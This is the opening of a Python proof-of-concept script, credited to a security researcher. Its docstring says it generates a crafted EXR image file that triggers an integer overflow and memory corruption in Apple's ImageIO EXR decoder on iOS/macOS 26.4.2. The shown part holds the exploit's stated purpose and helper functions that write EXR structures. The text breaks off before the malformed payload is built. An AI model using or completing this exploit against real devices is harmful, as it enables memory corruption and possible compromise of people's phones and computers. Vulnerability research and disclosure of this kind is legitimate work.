#!/usr/bin/env python3 """ Generates a crafted EXR file capable of triggering an integer overflow and subsequent memory corruption on iOS/macOS 26.4.2 ImageIO vulnerability in function EXRReadPlugin::decodeBlockAppleEXR @bellis1000 https://zygosec.com """ import struct import numpy as np import sys # EXR magic number EXR_MAGIC = 0x01312F76 def write_string(data, s): """Write a null-terminated string.""" data.extend(s.encode() if isinstance(s, str) else s) data.extend(b'\x00') def write_attr(data, name, type_name, value_bytes): """Write an EXR attribute: name, type, size, value.""" write_string(data, name) write_string(data, type_name) data.extend(struct.pack('